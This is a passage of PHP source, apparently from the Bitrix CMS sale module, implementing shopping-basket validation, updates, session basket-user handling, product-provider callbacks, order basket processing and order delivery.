$arSetParentsIDs[] = $arOldItem["ID"];
continue;
}
else
{
if ($isOrderConverted == 'N')
{
// the quantity is negative, so the product is canceled
self::DoChangeProductQuantity(
$arOldItem,
-$arOldItem["QUANTITY"],
$isOrderReserved,
$isOrderDeducted,
$arStoreBarcodeOrderFormData[$arOldItem["ID"]],
array("ORDER_ID" => $orderId, "USER_ID" => $userId, "SITE_ID" => $siteId)
);
}
}
CSaleBasket::Delete($key);
}
foreach ($arSetParentsIDs as $setParentID)
CSaleBasket::Delete($setParentID);
foreach(GetModuleEvents("sale", "OnDoBasketOrder", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($orderId));
return true;
}
//************** ADD, UPDATE, DELETE ********************//
function CheckFields($ACTION, &$arFields, $ID = 0)
{
global $APPLICATION;
static $orderList = array();
$ACTION = strtoupper($ACTION);
if (array_key_exists('ID', $arFields))
unset($arFields['ID']);
if ($ACTION != "ADD" && (int)$ID <=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_ID_ABSENT'), "ID");
return false;
}
if ('ADD' == $ACTION)
{
if (!array_key_exists('CUSTOM_PRICE', $arFields))
$arFields['CUSTOM_PRICE'] = '';
}
if (array_key_exists('CUSTOM_PRICE', $arFields) && 'Y' != $arFields['CUSTOM_PRICE'])
$arFields['CUSTOM_PRICE'] = 'N';
if (is_set($arFields, "PRODUCT_ID"))
$arFields["PRODUCT_ID"] = IntVal($arFields["PRODUCT_ID"]);
if ((is_set($arFields, "PRODUCT_ID") || $ACTION=="ADD") && IntVal($arFields["PRODUCT_ID"])<=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_PRODUCT_ID_ABSENT'), "PRODUCT_ID");
return false;
}
if (!array_key_exists('IGNORE_CALLBACK_FUNC', $arFields) || 'Y' != $arFields['IGNORE_CALLBACK_FUNC'])
{
if ((array_key_exists("CALLBACK_FUNC", $arFields) && !empty($arFields["CALLBACK_FUNC"]))
|| (array_key_exists("PRODUCT_PROVIDER_CLASS", $arFields) && !empty($arFields["PRODUCT_PROVIDER_CLASS"]))
)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider(array("MODULE" => $arFields["MODULE"], "PRODUCT_PROVIDER_CLASS" => $arFields["PRODUCT_PROVIDER_CLASS"])))
{
if (array_key_exists("IBXSaleProductProvider", class_implements($productProvider)))
{
$providerParams = array(
"PRODUCT_ID" => $arFields["PRODUCT_ID"],
"QUANTITY" => $arFields["QUANTITY"],
"RENEWAL" => $arFields["RENEWAL"],
"USER_ID" => (isset($arFields["USER_ID"]) ? $arFields["USER_ID"] : 0),
"SITE_ID" => (isset($arFields["LID"]) ? $arFields["LID"] : false),
"BASKET_ID" => $ID
);
if (isset($arFields['NOTES']))
$providerParams['NOTES'] = $arFields['NOTES'];
$arPrice = $productProvider::GetProductData($providerParams);
unset($providerParams);
}
elseif (get_parent_class($productProvider) == 'Bitrix\Sale\SaleProviderBase')
{
// $productProvider::getCatalogData();
// $productProvider::getProviderData();
// $productProvider::getProviderData();
}
}
else
{
$arPrice = CSaleBasket::ExecuteCallbackFunction(
$arFields["CALLBACK_FUNC"],
$arFields["MODULE"],
$arFields["PRODUCT_ID"],
$arFields["QUANTITY"],
$arFields["RENEWAL"],
$arFields["USER_ID"],
$arFields["LID"]
);
}
if (!empty($arPrice) && is_array($arPrice))
{
if (isset($arPrice['BASE_PRICE']))
$arPrice['BASE_PRICE'] = roundEx($arPrice['BASE_PRICE'], SALE_VALUE_PRECISION);
if (isset($arPrice['DISCOUNT_PRICE']))
$arPrice['DISCOUNT_PRICE'] = roundEx($arPrice['DISCOUNT_PRICE'], SALE_VALUE_PRECISION);
if (isset($arPrice['PRICE']))
$arPrice['PRICE'] = roundEx($arPrice['PRICE'], SALE_VALUE_PRECISION);
$arFields["PRICE"] = $arPrice["PRICE"];
$arFields["CURRENCY"] = $arPrice["CURRENCY"];
$arFields["CAN_BUY"] = "Y";
$arFields["PRODUCT_PRICE_ID"] = $arPrice["PRODUCT_PRICE_ID"];
$arFields["NOTES"] = $arPrice["NOTES"];
if (!isset($arFields["NAME"]))
$arFields["NAME"] = $arPrice["NAME"];
if (isset($arPrice['DISCOUNT_LIST']))
$arFields['DISCOUNT_LIST'] = $arPrice['DISCOUNT_LIST'];
}
else
{
if ($ACTION == 'ADD')
return false;
$arFields["CAN_BUY"] = "N";
}
}
}
if (is_set($arFields, "PRICE") || $ACTION=="ADD")
{
$arFields["PRICE"] = str_replace(",", ".", $arFields["PRICE"]);
$arFields["PRICE"] = floatval($arFields["PRICE"]);
}
if (is_set($arFields, "DISCOUNT_PRICE") || $ACTION=="ADD")
{
$arFields["DISCOUNT_PRICE"] = str_replace(",", ".", $arFields["DISCOUNT_PRICE"]);
$arFields["DISCOUNT_PRICE"] = floatval($arFields["DISCOUNT_PRICE"]);
}
if (is_set($arFields, "VAT_RATE") || $ACTION=="ADD")
{
$arFields["VAT_RATE"] = str_replace(",", ".", $arFields["VAT_RATE"]);
$arFields["VAT_RATE"] = floatval($arFields["VAT_RATE"]);
}
if ((is_set($arFields, "CURRENCY") || $ACTION=="ADD") && strlen($arFields["CURRENCY"])<=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_CURRENCY_ABSENT'), "CURRENCY");
return false;
}
if ((is_set($arFields, "LID") || $ACTION=="ADD") && strlen($arFields["LID"])<=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_SITE_ID_ABSENT'), "LID");
return false;
}
if (is_set($arFields, "ORDER_ID"))
{
if (!isset($orderList[$arFields["ORDER_ID"]]))
{
$rsOrders = CSaleOrder::GetList(
array(),
array('ID' => $arFields["ORDER_ID"]),
false,
false,
array('ID')
);
if ($arOrder = $rsOrders->Fetch())
{
$orderList[$arFields["ORDER_ID"]] = true;
}
}
if (!isset($orderList[$arFields["ORDER_ID"]]))
{
$APPLICATION->ThrowException(str_replace("#ID#", $arFields["ORDER_ID"], Loc::getMessage("SKGB_NO_ORDER")), "ORDER_ID");
return false;
}
}
if (is_set($arFields, 'CURRENCY'))
{
$arFields['CURRENCY'] = (string)$arFields['CURRENCY'];
if (empty($arFields['CURRENCY']))
{
$APPLICATION->ThrowException(str_replace("#ID#", $arFields["CURRENCY"], Loc::getMessage("SKGB_NO_CURRENCY")), "CURRENCY");
return false;
}
else
{
if (empty(self::$currencyList))
{
$currencyIterator = Currency\CurrencyTable::getList(array(
'select' => array('CURRENCY'),
));
while ($currency = $currencyIterator->fetch())
self::$currencyList[$currency['CURRENCY']] = $currency['CURRENCY'];
}
if (!isset(self::$currencyList[$arFields['CURRENCY']]))
{
$APPLICATION->ThrowException(str_replace("#ID#", $arFields["CURRENCY"], Loc::getMessage("SKGB_NO_CURRENCY")), "CURRENCY");
return false;
}
}
}
if (is_set($arFields, "LID"))
{
$dbSite = CSite::GetByID($arFields["LID"]);
if (!$dbSite->Fetch())
{
$APPLICATION->ThrowException(str_replace("#ID#", $arFields["LID"], Loc::getMessage("SKGB_NO_SITE")), "LID");
return false;
}
}
if ($ACTION != 'ADD')
{
$existPrice = array_key_exists('PRICE', $arFields);
$existCurrency = array_key_exists('CURRENCY', $arFields) && (string)$arFields['CURRENCY'] != '';
if (!$existPrice || !$existCurrency)
{
$existSiteId = isset($arFields['LID']) && (string)$arFields['LID'] != '';
if (!$existSiteId)
{
$select = array('ID', 'LID');
if (!$existPrice)
$select[] = 'PRICE';
if (!$existCurrency)
$select[] = 'CURRENCY';
$basketIterator = CSaleBasket::GetList(
array(),
array('ID' => $ID),
false,
false,
$select
);
if ($basket = $basketIterator->Fetch())
{
if (!$existSiteId)
$arFields['LID'] = $basket['LID'];
if (!$existPrice)
$arFields['PRICE'] = $basket['PRICE'];
if (!$existCurrency)
$arFields['CURRENCY'] = $basket['CURRENCY'];
}
unset($basket, $basketIterator, $select);
}
unset($existSiteId);
}
unset($existCurrency, $existPrice);
}
if (!empty($arFields['LID']) && !empty($arFields['CURRENCY']))
{
if (!isset(self::$currencySiteList[$arFields['LID']]))
self::$currencySiteList[$arFields['LID']] = CSaleLang::GetLangCurrency($arFields['LID']);
$siteCurrency = self::$currencySiteList[$arFields['LID']];
if ($siteCurrency != $arFields['CURRENCY'])
{
$arFields["PRICE"] = roundEx(CCurrencyRates::ConvertCurrency($arFields["PRICE"], $arFields["CURRENCY"], $siteCurrency), SALE_VALUE_PRECISION);
if (is_set($arFields, "DISCOUNT_PRICE"))
$arFields["DISCOUNT_PRICE"] = roundEx(CCurrencyRates::ConvertCurrency($arFields["DISCOUNT_PRICE"], $arFields["CURRENCY"], $siteCurrency), SALE_VALUE_PRECISION);
$arFields["CURRENCY"] = $siteCurrency;
}
unset($siteCurrency);
}
// Changed by Sigurd, 2007-08-16
if (is_set($arFields, "QUANTITY"))
$arFields["QUANTITY"] = floatval($arFields["QUANTITY"]);
if ((is_set($arFields, "QUANTITY") || $ACTION=="ADD") && floatval($arFields["QUANTITY"]) <= 0)
$arFields["QUANTITY"] = 1;
if (is_set($arFields, "DELAY") && $arFields["DELAY"]!="Y")
$arFields["DELAY"]="N";
if (is_set($arFields, "CAN_BUY") && $arFields["CAN_BUY"]!="Y")
$arFields["CAN_BUY"]="N";
if ((is_set($arFields, "NAME") || $ACTION=="ADD") && strlen($arFields["NAME"])<=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_NAME_ABSENT'), "NAME");
return false;
}
if ($ACTION=="ADD" && !is_set($arFields, "FUSER_ID"))
$arFields["FUSER_ID"] = CSaleBasket::GetBasketUserID(false);
if ((is_set($arFields, "FUSER_ID") || $ACTION=="ADD") && IntVal($arFields["FUSER_ID"])<=0)
{
$APPLICATION->ThrowException(Loc::getMessage('BT_MOD_SALE_BASKET_ERR_FUSER_ID_ABSENT'), "FUSER_ID");
return false;
}
if (array_key_exists("TYPE", $arFields))
{
$arFields["TYPE"] = (int)$arFields["TYPE"];
if ($arFields["TYPE"] != CSaleBasket::TYPE_SET)
unset($arFields["TYPE"]);
}
if (array_key_exists('~TYPE', $arFields))
{
unset($arFields['~TYPE']);
}
if (array_key_exists('CATALOG_XML_ID', $arFields))
{
$arFields['CATALOG_XML_ID'] = (string)$arFields['CATALOG_XML_ID'];
if ($arFields['CATALOG_XML_ID'] === '')
{
unset($arFields['CATALOG_XML_ID']);
if (array_key_exists('~CATALOG_XML_ID', $arFields))
{
unset($arFields['~CATALOG_XML_ID']);
}
}
}
if (array_key_exists('PROPS', $arFields))
{
if (empty($arFields['PROPS']) || !is_array($arFields['PROPS']))
{
unset($arFields['PROPS']);
}
else
{
$clearPropList = array();
foreach ($arFields['PROPS'] as $basketProperty)
{
if (empty($basketProperty) || !is_array($basketProperty) || !isset($basketProperty['NAME']))
continue;
$basketProperty['NAME'] = (string)$basketProperty['NAME'];
if ($basketProperty['NAME'] == '')
continue;
$propCode = (isset($basketProperty['CODE']) ? (string)$basketProperty['CODE'] : '');
$propValue = (isset($basketProperty['VALUE']) ? (string)$basketProperty['VALUE'] : '');
$clearProp = array(
'NAME' => $basketProperty['NAME'],
'SORT' => (isset($basketProperty['SORT']) ? (int)$basketProperty['SORT'] : 100)
);
if ($propCode != '')
$clearProp['CODE'] = $propCode;
if ($propValue != '')
$clearProp['VALUE'] = $propValue;
$clearPropList[] = $clearProp;
unset($clearProp, $propValue, $propCode);
}
unset($basketProperty);
if (!empty($clearPropList))
$arFields['PROPS'] = $clearPropList;
else
unset($arFields['PROPS']);
unset($clearPropList);
}
}
return true;
}
function _Update($ID, &$arFields)
{
global $DB;
$ID = (int)$ID;
//CSaleBasket::Init();
if (!CSaleBasket::CheckFields("UPDATE", $arFields, $ID))
return false;
foreach(GetModuleEvents("sale", "OnBeforeBasketUpdateAfterCheck", true) as $arEvent)
if (ExecuteModuleEventEx($arEvent, array($ID, &$arFields))===false)
return false;
$arOldFields = false;
$updateHistory = isset($arFields["ORDER_ID"]) && (int)$arFields["ORDER_ID"] > 0;
$strUpdate = $DB->PrepareUpdate("b_sale_basket", $arFields);
if (!empty($strUpdate))
{
if ($updateHistory)
{
$oldOrderIterator = CSaleBasket::GetList(
array(),
array('ID' => $ID),
false,
false,
array_keys($arFields)
);
$arOldFields = $oldOrderIterator->Fetch();
}
$strSql = "update b_sale_basket set ".$strUpdate.", DATE_UPDATE = ".$DB->GetNowFunction()." where ID = ".$ID;
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
else
{
$updateHistory = false;
}
if (isset($arFields["PROPS"]) && !empty($arFields["PROPS"]) && is_array($arFields["PROPS"]))
{
$sql = "delete from b_sale_basket_props where BASKET_ID = ".$ID;
$bProductXml = false;
$bCatalogXml = false;
foreach($arFields["PROPS"] as $prop)
{
if (!isset($prop['CODE']))
continue;
if ($prop["CODE"] == "PRODUCT.XML_ID")
$bProductXml = true;
if ($prop["CODE"] == "CATALOG.XML_ID")
$bCatalogXml = true;
if ($bProductXml && $bCatalogXml)
break;
}
if (!$bProductXml)
$sql .= " and CODE <> 'PRODUCT.XML_ID'";
if (!$bCatalogXml)
$sql .= " and CODE <> 'CATALOG.XML_ID'";
$DB->Query($sql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if (!$bProductXml || !$bCatalogXml)
{
$sql = "delete from b_sale_basket_props where BASKET_ID = ".$ID." and CODE IS NULL";
$DB->Query($sql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
foreach($arFields["PROPS"] as $prop)
{
if (!isset($prop["NAME"]))
continue;
$prop["NAME"] = (string)$prop["NAME"];
if($prop["NAME"] != '')
{
$arInsert = $DB->PrepareInsert("b_sale_basket_props", $prop);
$strSql = "INSERT INTO b_sale_basket_props(BASKET_ID, ".$arInsert[0].") VALUES(".$ID.", ".$arInsert[1].")";
$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
}
if ($updateHistory)
CSaleOrderChange::AddRecordsByFields($arFields["ORDER_ID"], $arOldFields, $arFields, array('PROPS'), "BASKET");
foreach(GetModuleEvents("sale", "OnBasketUpdate", true) as $arEvent)
ExecuteModuleEventEx($arEvent, Array($ID, $arFields));
return true;
}
function Update($ID, $arFields)
{
global $APPLICATION;
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
if (isset($arFields["ID"]))
unset($arFields["ID"]);
$ID = (int)$ID;
CSaleBasket::Init();
if ($isOrderConverted == 'N')
{
foreach(GetModuleEvents("sale", "OnBeforeBasketUpdate", true) as $arEvent)
if (ExecuteModuleEventEx($arEvent, array($ID, &$arFields))===false)
return false;
}
if (is_set($arFields, "QUANTITY") && floatval($arFields["QUANTITY"])<=0)
{
return CSaleBasket::Delete($ID);
}
else
{
if ($isOrderConverted != 'N')
{
/** @var \Bitrix\Sale\Result $r */
$r = \Bitrix\Sale\Compatible\BasketCompatibility::update($ID, $arFields);
if (!$r->isSuccess())
{
foreach($r->getErrorMessages() as $error)
{
$APPLICATION->ThrowException($error);
}
return false;
}
return true;
}
else
{
if (is_set($arFields, "QUANTITY")) // if quantity updated and is set parent item, update all set items' quantity
{
$arBasket = $arFields;
$oldQuantity = false;
if (!isset($arBasket['TYPE']) || !isset($arBasket['SET_PARENT_ID']))
{
$basketIterator = CSaleBasket::GetList(
array(),
array('ID' => $ID),
false,
false,
array('ID', 'TYPE', 'SET_PARENT_ID', 'QUANTITY')
);
if (!($basket = $basketIterator->Fetch()))
return false;
$arBasket['TYPE'] = (int)$basket['TYPE'];
$arBasket['SET_PARENT_ID'] = (int)$basket['SET_PARENT_ID'];
$arBasket['QUANTITY'] = $basket['QUANTITY'];
$oldQuantity = $basket['QUANTITY'];
unset($basket, $basketIterator);
}
if (CSaleBasketHelper::isSetParent($arBasket))
{
if ($oldQuantity === false)
{
$basketIterator = CSaleBasket::GetList(
array(),
array('ID' => $ID),
false,
false,
array('ID', 'QUANTITY')
);
if (!($basket = $basketIterator->Fetch()))
return false;
$arBasket['QUANTITY'] = $basket['QUANTITY'];
$oldQuantity = $basket['QUANTITY'];
unset($basket, $basketIterator);
}
if ($oldQuantity != $arFields['QUANTITY'])
{
$dbSetItems = CSaleBasket::GetList(
array(),
array("SET_PARENT_ID" => $ID, 'TYPE' => false),
false,
false,
array('ID', 'QUANTITY', 'SET_PARENT_ID', 'TYPE')
);
while ($arItem = $dbSetItems->Fetch())
{
$newQuantity = $arItem['QUANTITY'] / $arBasket['QUANTITY'] * $arFields['QUANTITY'];
CSaleBasket::Update(
$arItem['ID'],
array('QUANTITY' => $newQuantity, 'SET_PARENT_ID' => (int)$arItem['SET_PARENT_ID'], 'TYPE' => (int)$arItem['TYPE'])
);
}
unset($arItem, $dbSetItems);
}
}
}
return CSaleBasket::_Update($ID, $arFields);
}
}
}
//************** BASKET USER ********************//
function Init($bVar = false, $bSkipFUserInit = false)
{
$bSkipFUserInit = ($bSkipFUserInit !== false);
CSaleUser::UpdateSessionSaleUserID();
if(COption::GetOptionString("sale", "encode_fuser_id", "N") != "Y")
$_SESSION["SALE_USER_ID"] = IntVal($_SESSION["SALE_USER_ID"]);
if (strlen($_SESSION["SALE_USER_ID"]) <= 0 || $_SESSION["SALE_USER_ID"] === 0)
{
$ID = CSaleUser::GetID($bSkipFUserInit);
$_SESSION["SALE_USER_ID"] = $ID;
}
}
public static function GetBasketUserID($bSkipFUserInit = false)
{
$bSkipFUserInit = ($bSkipFUserInit !== false);
if (!isset($_SESSION["SALE_USER_ID"]))
$_SESSION["SALE_USER_ID"] = 0;
CSaleBasket::Init(false, $bSkipFUserInit);
CSaleUser::UpdateSessionSaleUserID();
$ID = $_SESSION["SALE_USER_ID"];
if ((int)$ID > 0)
{
return $ID;
}
else
{
if (!$bSkipFUserInit)
{
$GLOBALS["DB"]->StartUsingMasterOnly();
$ID = CSaleUser::Add();
$GLOBALS["DB"]->StopUsingMasterOnly();
$_SESSION["SALE_USER_ID"] = $ID;
}
}
return $ID;
}
//************** SELECT ********************//
function GetByID($ID)
{
global $DB;
$ID = (int)$ID;
if ($ID <= 0)
return false;
$strSql = "SELECT * FROM b_sale_basket WHERE ID = ".$ID;
$dbBasket = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($arBasket = $dbBasket->Fetch())
return $arBasket;
return false;
}
//************** CALLBACK FUNCTIONS ********************//
static function ExecuteCallbackFunction($callbackFunc = "", $module = "", $productID = 0)
{
$callbackFunc = trim($callbackFunc);
$module = trim($module);
$productID = IntVal($productID);
$result = False;
if (strlen($callbackFunc) > 0)
{
if (strlen($module)>0 && $module != "main")
CModule::IncludeModule($module);
$arArgs = array($productID);
$numArgs = func_num_args();
if ($numArgs > 3)
for ($i = 3; $i < $numArgs; $i++)
$arArgs[] = func_get_arg($i);
$result = call_user_func_array($callbackFunc, $arArgs);
}
return $result;
/*
$callbackFunc = trim($callbackFunc);
$productID = IntVal($productID);
$module = Trim($module);
$quantity = IntVal($quantity);
$result = False;
if (strlen($callbackFunc) > 0)
{
if (strlen($module)>0 && $module != "main")
CModule::IncludeModule($module);
$result = $callbackFunc($PRODUCT_ID, $QUANTITY, $arParams);
}
return $result;
*/
}
public function ReReadPrice($callbackFunc = "", $module = "", $productID = 0, $quantity = 0, $renewal = "N", $productProvider = "")
{
if (CSaleBasket::GetProductProvider(array("MODULE" => $module, "PRODUCT_PROVIDER_CLASS" => $productProvider)))
{
return $productProvider::GetProductData(array(
"PRODUCT_ID" => $productID,
"QUANTITY" => $quantity,
"RENEWAL" => $renewal
));
}
else
return CSaleBasket::ExecuteCallbackFunction($callbackFunc, $module, $productID, $quantity, $renewal);
}
function OnOrderProduct($callbackFunc = "", $module = "", $productID = 0, $quantity = 0, $productProvider = "")
{
if (CSaleBasket::GetProductProvider(array("MODULE" => $module, "PRODUCT_PROVIDER_CLASS" => $productProvider)))
{
$productProvider::GetProductData(array(
"PRODUCT_ID" => $productID,
"QUANTITY" => $quantity
));
}
else
CSaleBasket::ExecuteCallbackFunction($callbackFunc, $module, $productID, $quantity);
return True;
}
public function UpdatePrice($ID, $callbackFunc = '', $module = '', $productID = 0, $quantity = 0, $renewal = 'N', $productProvider = '', $notes = '')
{
$ID = (int)$ID;
if ($ID <= 0)
return;
$callbackFunc = trim((string)$callbackFunc);
$productID = (int)$productID;
$module = trim((string)$module);
$quantity = (float)$quantity;
$renewal = ((string)$renewal == 'Y' ? 'Y' : 'N');
$productProvider = trim((string)$productProvider);
$notes = trim((string)$notes);
$getQuantity = false;
$select = array();
if ($callbackFunc == '' && $productProvider == '')
{
$getQuantity = true;
$select['CALLBACK_FUNC'] = true;
$select['PRODUCT_PROVIDER_CLASS'] = true;
}
if ($productID <= 0)
{
$getQuantity = true;
$select['PRODUCT_ID'] = true;
}
if ($notes == '')
$select['NOTES'] = true;
if ($getQuantity)
{
$select['QUANTITY'] = true;
$select['MODULE'] = true;
}
unset($getQuantity);
if (!empty($select))
{
$basketIterator = CSaleBasket::GetList(
array(),
array('ID' => $ID),
false,
false,
array_keys($select)
);
$basket = $basketIterator->Fetch();
if (empty($basket))
return;
if (isset($select['CALLBACK_FUNC']))
$callbackFunc = trim((string)$basket['CALLBACK_FUNC']);
if (isset($select['PRODUCT_PROVIDER_CLASS']))
$productProvider = trim((string)$basket['PRODUCT_PROVIDER_CLASS']);
if (isset($select['MODULE']))
$module = trim((string)$basket['MODULE']);
if (isset($select['PRODUCT_ID']))
$productID = (int)$basket['PRODUCT_ID'];
if (isset($select['QUANTITY']))
$quantity = (float)$basket['QUANTITY'];
if (isset($select['NOTES']))
$notes = $basket['NOTES'];
unset($basket, $basketIterator);
}
$providerName = CSaleBasket::GetProductProvider(array("MODULE" => $module, "PRODUCT_PROVIDER_CLASS" => $productProvider));
if ($providerName)
{
$arFields = $providerName::GetProductData(array(
"PRODUCT_ID" => $productID,
"QUANTITY" => $quantity,
"RENEWAL" => $renewal,
"BASKET_ID" => $ID,
"NOTES" => $notes
));
}
else
{
$arFields = CSaleBasket::ExecuteCallbackFunction($callbackFunc, $module, $productID, $quantity, $renewal);
}
if (!empty($arFields) && is_array($arFields))
{
$arFields["CAN_BUY"] = "Y";
CSaleBasket::Update($ID, $arFields);
}
else
{
$arFields = array(
"CAN_BUY" => "N"
);
CSaleBasket::Update($ID, $arFields);
}
}
/**
* @deprecated deprecated since sale 14.0.6
* @see CSaleBasket::DoSaveOrderBasket
*
* @param int $orderID
* @param int $fuserID
* @param mixed|string $strLang
* @param bool $arDiscounts
* @return bool
* @throws \Bitrix\Main\ArgumentNullException
*/
public static function OrderBasket($orderID, $fuserID = 0, $strLang = SITE_ID, $arDiscounts = False)
{
$orderID = (int)$orderID;
if ($orderID <= 0)
return false;
$fuserID = (int)$fuserID;
if ($fuserID <= 0)
$fuserID = (int)CSaleBasket::GetBasketUserID(true);
if ($fuserID <= 0)
return false;
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
$arOrder = array();
if (empty($arOrder))
{
$rsOrders = CSaleOrder::GetList(
array(),
array('ID' => $orderID),
false,
false,
array('ID', 'USER_ID', 'RECURRING_ID', 'LID', 'RESERVED')
);
if (!($arOrder = $rsOrders->Fetch()))
return false;
$arOrder['RECURRING_ID'] = (int)$arOrder['RECURRING_ID'];
}
$boolRecurring = $arOrder['RECURRING_ID'] > 0;
$found = false;
$dbBasketList = CSaleBasket::GetList(
array("PRICE" => "DESC"),
array("FUSER_ID" => $fuserID, "LID" => $strLang, "ORDER_ID" => 0),
false,
false,
array(
'ID', 'ORDER_ID', 'PRODUCT_ID', 'MODULE',
'CAN_BUY', 'DELAY', 'ORDER_CALLBACK_FUNC', 'PRODUCT_PROVIDER_CLASS',
'QUANTITY', 'CUSTOM_PRICE'
)
);
while ($arBasket = $dbBasketList->Fetch())
{
$arFields = array();
if ($arBasket["DELAY"] == "N" && $arBasket["CAN_BUY"] == "Y")
{
if (!empty($arBasket["ORDER_CALLBACK_FUNC"]) || !empty($arBasket["PRODUCT_PROVIDER_CLASS"]))
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
$arQuery = array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY" => $arBasket["QUANTITY"],
'BASKET_ID' => $arBasket['ID']
);
if ($boolRecurring)
{
$arQuery['RENEWAL'] = 'Y';
$arQuery['USER_ID'] = $arOrder['USER_ID'];
$arQuery['SITE_ID'] = $strLang;
}
$arFields = $productProvider::OrderProduct($arQuery);
}
else
{
if ($boolRecurring)
{
$arFields = CSaleBasket::ExecuteCallbackFunction(
$arBasket["ORDER_CALLBACK_FUNC"],
$arBasket["MODULE"],
$arBasket["PRODUCT_ID"],
$arBasket["QUANTITY"],
'Y',
$arOrder['USER_ID'],
$strLang
);
}
else
{
$arFields = CSaleBasket::ExecuteCallbackFunction(
$arBasket["ORDER_CALLBACK_FUNC"],
$arBasket["MODULE"],
$arBasket["PRODUCT_ID"],
$arBasket["QUANTITY"]
);
}
}
if (!empty($arFields) && is_array($arFields))
{
$arFields["CAN_BUY"] = "Y";
$arFields["ORDER_ID"] = $orderID;
$arBasket['CUSTOM_PRICE'] = (string)$arBasket['CUSTOM_PRICE'];
if ($arBasket['CUSTOM_PRICE'] == 'Y')
{
if (array_key_exists('PRICE', $arFields))
unset($arFields['PRICE']);
if (array_key_exists('DISCOUNT_PRICE', $arFields))
unset($arFields['DISCOUNT_PRICE']);
if (array_key_exists('CURRENCY', $arFields))
unset($arFields['CURRENCY']);
if (array_key_exists('DISCOUNT_VALUE', $arFields))
unset($arFields['DISCOUNT_VALUE']);
if (array_key_exists('DISCOUNT_NAME', $arFields))
unset($arFields['DISCOUNT_NAME']);
if (array_key_exists('DISCOUNT_COUPON', $arFields))
unset($arFields['DISCOUNT_COUPON']);
if (array_key_exists('DISCOUNT_LIST', $arFields))
unset($arFields['DISCOUNT_LIST']);
if (array_key_exists('DISCOUNT', $arFields))
unset($arFields['DISCOUNT']);
}
}
else
{
$arFields = array(
'CAN_BUY' => 'N'
);
$removeCoupon = DiscountCouponsManager::deleteApplyByProduct(array(
'MODULE' => $arBasket['MODULE'],
'PRODUCT_ID' => $arBasket['PRODUCT_ID'],
'BASKET_ID' => $arBasket['ID']
));
}
}
else
{
$arFields["ORDER_ID"] = $orderID;
}
if (!empty($arFields))
{
if ($isOrderConverted != 'N')
{
$found = true;
if (!\Bitrix\Sale\Compatible\DiscountCompatibility::isInited())
\Bitrix\Sale\Compatible\DiscountCompatibility::init();
if (\Bitrix\Sale\Compatible\DiscountCompatibility::isInited())
\Bitrix\Sale\Compatible\DiscountCompatibility::setRepeatSave(true);
}
if (CSaleBasket::Update($arBasket["ID"], $arFields))
{
$_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID]--;
}
}
}
}//end of while
if ($_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID] < 0)
$_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID] = 0;
foreach(GetModuleEvents("sale", "OnBasketOrder", true) as $arEvent)
{
ExecuteModuleEventEx($arEvent, array($orderID, $fuserID, $strLang, $arDiscounts));
}
if ($isOrderConverted != 'N' && $found)
{
if ($order = Sale\Order::load($orderID))
{
if (\Bitrix\Sale\Compatible\DiscountCompatibility::isInited())
\Bitrix\Sale\Compatible\DiscountCompatibility::setRepeatSave(false);
$discounts = $order->getDiscount();
$discounts->save();
unset($discounts);
}
unset($order);
}
//reservation
if ($arOrder['RESERVED'] != "Y" && COption::GetOptionString("sale", "product_reserve_condition") == "O")
{
if (!CSaleOrder::ReserveOrder($orderID, "Y"))
return false;
}
return true;
}
function OrderPayment($orderID, $bPaid, $recurringID = 0)
{
CSaleBasket::OrderDelivery($orderID, $bPaid, $recurringID);
}
function OrderDelivery($orderID, $bPaid, $recurringID = 0)
{
global $DB, $APPLICATION;
$orderID = IntVal($orderID);
if ($orderID <= 0)
return False;
$bPaid = ($bPaid ? True : False);
$recurringID = IntVal($recurringID);
$arOrder = CSaleOrder::GetByID($orderID);
if ($arOrder)
{
$dbBasketList = CSaleBasket::GetList(
array("NAME" => "ASC"),
array("ORDER_ID" => $orderID)
);
while ($arBasket = $dbBasketList->Fetch())
{
if (strlen($arBasket["PAY_CALLBACK_FUNC"]) > 0 || strlen($arBasket["PRODUCT_PROVIDER_CLASS"]) > 0)
{
if ($bPaid)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
$arFields = $productProvider::DeliverProduct(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"USER_ID" => $arOrder["USER_ID"],
"PAID" => $bPaid,
"ORDER_ID" => $orderID,
'BASKET_ID' => $arBasket['ID']
));
}
else
{
$arFields = CSaleBasket::ExecuteCallbackFunction(
$arBasket["PAY_CALLBACK_FUNC"],
$arBasket["MODULE"],
$arBasket["PRODUCT_ID"],
$arOrder["USER_ID"],
$bPaid,
$orderID,
$arBasket["QUANTITY"]
);
}
if ($arFields && is_array($arFields) && count($arFields) > 0)
{
$arFields["ORDER_ID"] = $orderID;
$arFields["REMAINING_ATTEMPTS"] = (Defined("SALE_PROC_REC_ATTEMPTS") ? SALE_PROC_REC_ATTEMPTS : 3);
$arFields["SUCCESS_PAYMENT"] = "Y";
if ($recurringID > 0)
CSaleRecurring::Update($recurringID, $arFields);
else
CSaleRecurring::Add($arFields);
}
elseif ($recurringID > 0)
{
CSaleRecurring::Delete($recurringID);
}
}
else
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
